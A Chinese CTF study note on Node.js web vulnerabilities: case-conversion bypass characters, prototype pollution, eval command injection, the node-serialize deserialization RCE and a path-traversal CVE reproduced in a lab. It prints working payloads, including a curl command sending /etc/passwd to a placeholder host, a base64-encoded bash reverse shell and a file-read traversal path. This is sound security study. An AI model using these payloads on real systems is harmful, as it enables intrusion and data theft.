0x00 序言
之前看各位大师傅说以后web会向python,js,java(主要是java)发展,php的题目会越来越少.这次公益赛就遇到了.好好学习一下.
0x01 javascript大小写特性
在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
1 | 字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S" |
对于toLowerCase():
1 | 字符"K"经过toLowerCase处理后结果为"k"(这个K不是K) |
在绕一些规则的时候就可以利用这几个特殊字符进行绕过.
HackTM中一道Node.js题分析(Draw with us)
0x02 js原型链污染
2.1prototype和proto
Javascript里每个类都有一个prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的proto属性也指向类的prototype。因此,有以下关系:
1 | a={} |
所以,总结一下:
- prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
- 一个对象的proto属性,指向这个对象所在的类的prototype属性
2.2JavaScript原型链继承
并且,类的继承是通过原型链传递的,一个类的prototype属性指向其继承的类的一个对象。所以一个类的prototype.proto等于其父类的prototype,当然也等于该类对象的proto.proto属性。
我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。
所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
比如:
1 | function Father() { |
总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:
- 在对象son中寻找last_name
- 如果找不到,则在son.proto中寻找last_name
- 如果仍然找不到,则继续在son.proto.proto中寻找last_name
- 依次寻找,直到找到null结束。比如,Object.prototype的proto就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
- 每个构造函数(constructor)都有一个原型对象(prototype)
- 对象的proto属性,指向类的原型对象prototype
- JavaScript使用prototype链实现继承机制
2.3原型链污染
- 1中说到,foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢?
做个简单的实验:
1 | // foo是一个简单的JavaScript对象 |
原因也显而易见:因为前面我们修改了foo的原型foo.proto.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
这里还有个例子:
1 | a = {} |
2.4污染的应用情况
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置proto的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
- 对象merge
- 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
1
2
3
4
5
6
7
8
9
10以对象merge为例,我们想象一个简单的merge函数:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是proto,是不是就可以原型链污染呢?
我们用如下代码实验一下:
1 | let o1 = {} |
结果是,合并虽然成功了,但原型链没有被污染
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto“: {b: 2}})中,proto已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],proto并不是一个key,自然也不会修改Object的原型。
那么,如何让proto被认为是一个键名呢?
1 | 我们将代码改成如下: |
可见,新建的o3对象,也存在b属性,说明Object已经被污染
这是因为,JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
0x03 危险函数导致命令执行
3.1eval()
eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
1 | 简单例子main.js: |
漏洞利用:
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。
弹计算器(windows):
1 | /eval?q=require('child_process').exec('calc'); |
读取文件(linux):
1 | /eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');; |
反弹shell(linux):
1 | /eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash'); |
YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。
注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)来执行命令.
3.2类似命令
1 | 间隔两秒执行函数: |
some_function处就类似于eval函数的参数
1 | 输出HelloWorld: |
类似于php中的create_function
以上都可以导致命令执行
0x04 node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中.
4.1了解什么是IIFE:
IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
IIFE一般写成下面的形式:
1 | (function(){ /* code */ }()); |
4.2node-serialize@0.0.4漏洞点
漏洞代码位于node_modules\node-serialize\lib\serialize.js大概75行中:
1 | obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')'); |
可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。
4.3构造Payload
1 | serialize = require('node-serialize'); |
生成的Payload为:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"} |
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:
1 | {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"} |
(这里不能直接在对象内定义IIFE表达式,不然会序列化失败)
传递给unserialize(注意转义单引号):
1 | var serialize = require('node-serialize'); |
执行命令成功
0x05 Node.js 目录穿越漏洞复现(CVE-2017-14849)
在vulhub上面可以直接下载到环境。
漏洞影响的版本:
- Node.js 8.5.0 + Express 3.19.0-3.21.2
- Node.js 8.5.0 + Express 4.11.0-4.15.5
1
2
3
4运行漏洞环境:
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
用Burpsuite获取(GET)地址:/static/../../../a/../../../../etc/passwd 即可下载到/etc/passwd文件.
具体分析可见:Node.js CVE-2017-14849 漏洞分析